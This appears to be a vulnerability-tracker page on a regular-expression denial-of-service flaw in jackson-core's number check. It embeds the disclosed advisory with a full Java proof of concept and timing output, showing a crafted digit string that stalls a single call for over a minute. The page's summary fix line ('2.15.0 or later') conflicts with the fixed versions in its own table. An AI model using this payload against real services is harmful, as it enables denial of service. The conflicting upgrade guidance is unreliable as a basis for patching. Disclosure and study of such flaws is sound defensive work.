Patch Forecast
Amber warning
Patch this week.

CVE-2026-89407 · GHSA-p6pp-m3f8-5c89

jackson-core: ReDoS: quadratic backtracking in NumberInput.PATTERN_FLOAT via looksLikeValidNumber()

Risk score
64/100
CVSS
7.5 v3.1
Exploit chance (30 days)
0.5%
Published
1 Oct 2026

Open in the live forecast Today's forecast

What to know

What it is
FULLY REPRODUCED with a clean, textbook empirical signature: measured runtime grew almost exactly 4x for every doubling of input size across five consecutive doublings (5,000 → 160,000 characters), confirming O(n²) behavior. A single 160,000-character string (smaller than a typical HTTP request body) took 74.4 seconds…
Affected
com.fasterxml.jackson.core:jackson-core (maven) >= 2.17.0, <= 2.18.10; com.fasterxml.jackson.core:jackson-core (maven) >= 2.19.0, <= 2.21.6; com.fasterxml.jackson.core:jackson-core (maven) >= 2.22.0, <= 2.22.2; tools.jackson.core:jackson-core (maven) >= 3.0.0, <= 3.1.6
Fix
Upgrade com.fasterxml.jackson.core:jackson-core to 2.18.11 or 2.21.7 or 2.22.3; tools.jackson.core:jackson-core to 3.1.7 or 3.2.2 (whichever matches your release line) or later.
Exploitation
No known exploitation

Story map

Story map: com.fasterxml.jackson.core:jackson-coreTHE FLAWSTHE FIXCVE-2026-89407Jackson-core: ReDoS:quadratic backtracking inNumberInput.PATTERN_FLOA…CVSS 7.5 · EPSS 1%CVE-2026-68494Jackson-core: Async parsermaxNumberLength bypass viachunked digit accumulation…CVSS 8.7CVE-2026-89425Jackson-core:UTF8DataInputJsonParser._reportInvalidToken() missing…CVSS 7.5 · EPSS 0%Upgrade…2.15.0or later on your release lineWho is exposedcom.fasterxml.jackson.core:jackson-core (maven) < 2.18.8;com.fasterxml.jackson.core:jackson-core (maven) >= 2.19.0, <2.21.4…AMBER · PATCH THIS WEEKcom.fasterxml.jackson.core:jacks…The fix released in jackson-core2.18.6 and 2.21.1 forCVE-2026-18401(GHSA-72hv-8253-57qq, numberlength constraint bypass in thenon-blocking parser) isincomplete. This record covers…Where it standsPublic proof of conceptCONNECTS TOSame weaknessDenial of service (CWE-400)252 other warnings in 30 days →
Story map: the flaws, the fix, how it unfolded and what it connects to. Boxes link to the record or article.

At a glance

com.fasterxml.jackson.core:jackson-core: Amber, patch this week. The fix released in jackson-core 2.18.6 and 2.21.1 for CVE-2026-18401 (GHSA-72hv-8253-57qq, number length constraint bypass in the non-blocking parser) is incomplete. This record covers the remaining bypass. The earlier fix wired validateIntegerLength() into a new _setIntLength() helper and invoked it wherever the int…

The flaws

  • CVE-2026-89407: Jackson-core: ReDoS: quadratic backtracking in NumberInput.PATTERN_FLOAT via looksLikeValidNumber() (CVSS 7.5 · EPSS 1%)
  • CVE-2026-68494: Jackson-core: Async parser maxNumberLength bypass via chunked digit accumulation (incomplete fix for GHSA-72hv-8253-57qq) (CVSS 8.7)
  • CVE-2026-89425: Jackson-core: UTF8DataInputJsonParser._reportInvalidToken() missing maxErrorTokenLength limit -> unbounded StringBuilder growth (DoS) (CVSS 7.5 · EPSS 0%)

The fix

Upgrade com.fasterxml.jackson.core:jackson-core: 2.15.0 or later on your release line

Who is exposed: com.fasterxml.jackson.core:jackson-core (maven) < 2.18.8; com.fasterxml.jackson.core:jackson-core (maven) >= 2.19.0, < 2.21.4; tools.jackson.core:jackson-core (maven) >= 3.0.0, < 3.1.4

Where it stands

  • Public proof of concept

Connects to

Why it is Amber

  • CVSS 7.5 high
  • Remotely exploitable without logging in
  • On your watchlist: Maven

Affected packages

PackageEcosystemVulnerableFixed in
com.fasterxml.jackson.core:jackson-coremaven>= 2.17.0, <= 2.18.102.18.11
com.fasterxml.jackson.core:jackson-coremaven>= 2.19.0, <= 2.21.62.21.7
com.fasterxml.jackson.core:jackson-coremaven>= 2.22.0, <= 2.22.22.22.3
tools.jackson.core:jackson-coremaven>= 3.0.0, <= 3.1.63.1.7
tools.jackson.core:jackson-coremaven>= 3.2.0, <= 3.2.13.2.2

References

Original description

## Status **FULLY REPRODUCED** with a clean, textbook empirical signature: measured runtime grew almost exactly 4x for every doubling of input size across five consecutive doublings (5,000 → 160,000 characters), confirming O(n²) behavior. A single 160,000-character string (smaller than a typical HTTP request body) took **74.4 seconds** for one call to `NumberInput.looksLikeValidNumber()`. ## Affected Component / Version - **Package:** `com.fasterxml.jackson.core:jackson-core` - **Confirmed against:** `jackson-core-2.20.2` - **Affected file:** `src/main/java/com/fasterxml/jackson/core/io/NumberInput.java` (`PATTERN_FLOAT` line ~41-42, `PATTERN_FLOAT_TRAILING_DOT` line ~51, entry point `looksLikeValidNumber()` lines ~646-656) ## Technical Analysis ```java private final static Pattern PATTERN_FLOAT = Pattern.compile( "[+-]?[0-9]*[\\.]?[0-9]+([eE][+-]?[0-9]+)?"); private final static Pattern PATTERN_FLOAT_TRAILING_DOT = Pattern.compile( "[+-]?[0-9]+[\\.]"); public static boolean looksLikeValidNumber(final String s) { // ... short-circuits only for null/empty/length==1 ... return PATTERN_FLOAT.matcher(s).matches() || PATTERN_FLOAT_TRAILING_DOT.matcher(s).matches(); } ``` `PATTERN_FLOAT` contains ambiguous, adjacent quantifiers over the identical character class: `[0-9]*` (optional digits), an optional `[.]`, then `[0-9]+` (required digits). Java's backtracking `Pattern`/`Matcher` engine has no possessive quantifiers or atomic grouping here, so on a non-matching input the engine must explore every possible split point between the `[0-9]*` and `[0-9]+` groups before concluding failure — the classic quadratic-backtracking shape. `looksLikeValidNumber()` compounds the cost by running a **second** full-string regex (`PATTERN_FLOAT_TRAILING_DOT`) whenever the first fails, roughly doubling the constant factor without changing the asymptotic class. Critically, the length gate that applies to this specific path is `StreamReadConstraints.maxStringLength` (default **20,000,000**), not `maxNumberLength` (default **1,000**) — the length ceiling the library uses everywhere else for numeric content. This means inputs up to four orders of magnitude larger than the library's own numeric-length policy reach this quadratic regex unmodified. ## Reproduction Procedure Same clone/build steps as `jackson-core_1_...md`. Then: ```bash CP="build/classes:build/lib/fastdoubleparser-2.0.1.jar" javac -cp "$CP" -d poc poc/PoC8_NumberInputReDoS.java java -cp "poc:$CP" PoC8_NumberInputReDoS ``` ## Full PoC Source (`poc/PoC8_NumberInputReDoS.java`) ```java import com.fasterxml.jackson.core.io.NumberInput; public class PoC8_NumberInputReDoS { public static void main(String[] args) { int[] sizes = {5_000, 10_000, 20_000, 40_000, 80_000, 160_000}; long[] timesMs = new long[sizes.length]; System.out.println("Timing NumberInput.looksLikeValidNumber(<n ones> + 'x') for growing n:\n"); for (int i = 0; i < sizes.length; i++) { int n = sizes[i]; String s = repeat('1', n) + "x"; if (i == 0) { NumberInput.looksLikeValidNumber(repeat('1', 200) + "x"); // warm up } long t0 = System.nanoTime(); boolean result = NumberInput.looksLikeValidNumber(s); long elapsedMs = (System.nanoTime() - t0) / 1_000_000; timesMs[i] = elapsedMs; System.out.printf("n=%-8d looksLikeValidNumber=%-6b elapsed=%6d ms%n", n, result, elapsedMs); } System.out.println("\nRatio of elapsed time when n doubles (expect ~2x for linear, ~4x for quadratic):"); boolean quadraticSignatureObserved = false; for (int i = 1; i < sizes.length; i++) { double ratio = timesMs[i - 1] == 0 ? Double.NaN : (double) timesMs[i] / (double) timesMs[i - 1]; System.out.printf(" n=%d -> n=%d : %dms -> %dms (ratio=%.2fx)%n", sizes[i - 1], sizes[i], timesMs[i - 1], timesMs[i], ratio); if (ratio >= 3.0) quadraticSignatureObserved = true; } System.out.println("\nLargest test (n=" + sizes[sizes.length - 1] + ") took " + timesMs[timesMs.length - 1] + " ms for a single call from ONE HTTP-body-sized string."); System.out.println("\ncom.fasterxml.jackson.core.StreamReadConstraints.DEFAULT_MAX_STRING_LENGTH (20,000,000) " + "governs this path, not maxNumberLength (1,000)."); if (quadraticSignatureObserved) { System.out.println("\n=> REPRODUCED: superlinear (>=3x per doubling) time growth observed, consistent " + "with quadratic backtracking in PATTERN_FLOAT on non-matching input."); } } static String repeat(char c, int n) { char[] arr = new char[n]; java.util.Arrays.fill(arr, c); return new String(arr); } } ``` ## Captured Evidence (actual run output) ``` Timing NumberInput.looksLikeValidNumber(<n ones> + 'x') for growing n: n=5000 looksLikeValidNumber=false elapsed= 74 ms n=10000 looksLikeValidNumber=false elapsed= 306 ms n=20000 looksLikeValidNumber=false elapsed= 1157 ms n=40000 looksLikeValidNumber=false elapsed= 4655 ms n=80000 looksLikeValidNumber=false elapsed= 18592 ms n=160000 looksLikeValidNumber=false elapsed= 74393 ms Ratio of elapsed time when n doubles (expect ~2x for linear, ~4x for quadratic): n=5000 -> n=10000 : 74ms -> 306ms (ratio=4.14x) n=10000 -> n=20000 : 306ms -> 1157ms (ratio=3.78x) n=20000 -> n=40000 : 1157ms -> 4655ms (ratio=4.02x) n=40000 -> n=80000 : 4655ms -> 18592ms (ratio=3.99x) n=80000 -> n=160000 : 18592ms -> 74393ms (ratio=4.00x) Largest test (n=160000) took 74393 ms for a single call from ONE HTTP-body-sized string. => REPRODUCED: superlinear (>=3x per doubling) time growth observed, consistent with quadratic backtracking in PATTERN_FLOAT on non-matching input. ``` This is an

Last activity 1 Oct 2026. Patch Forecast updates every hour.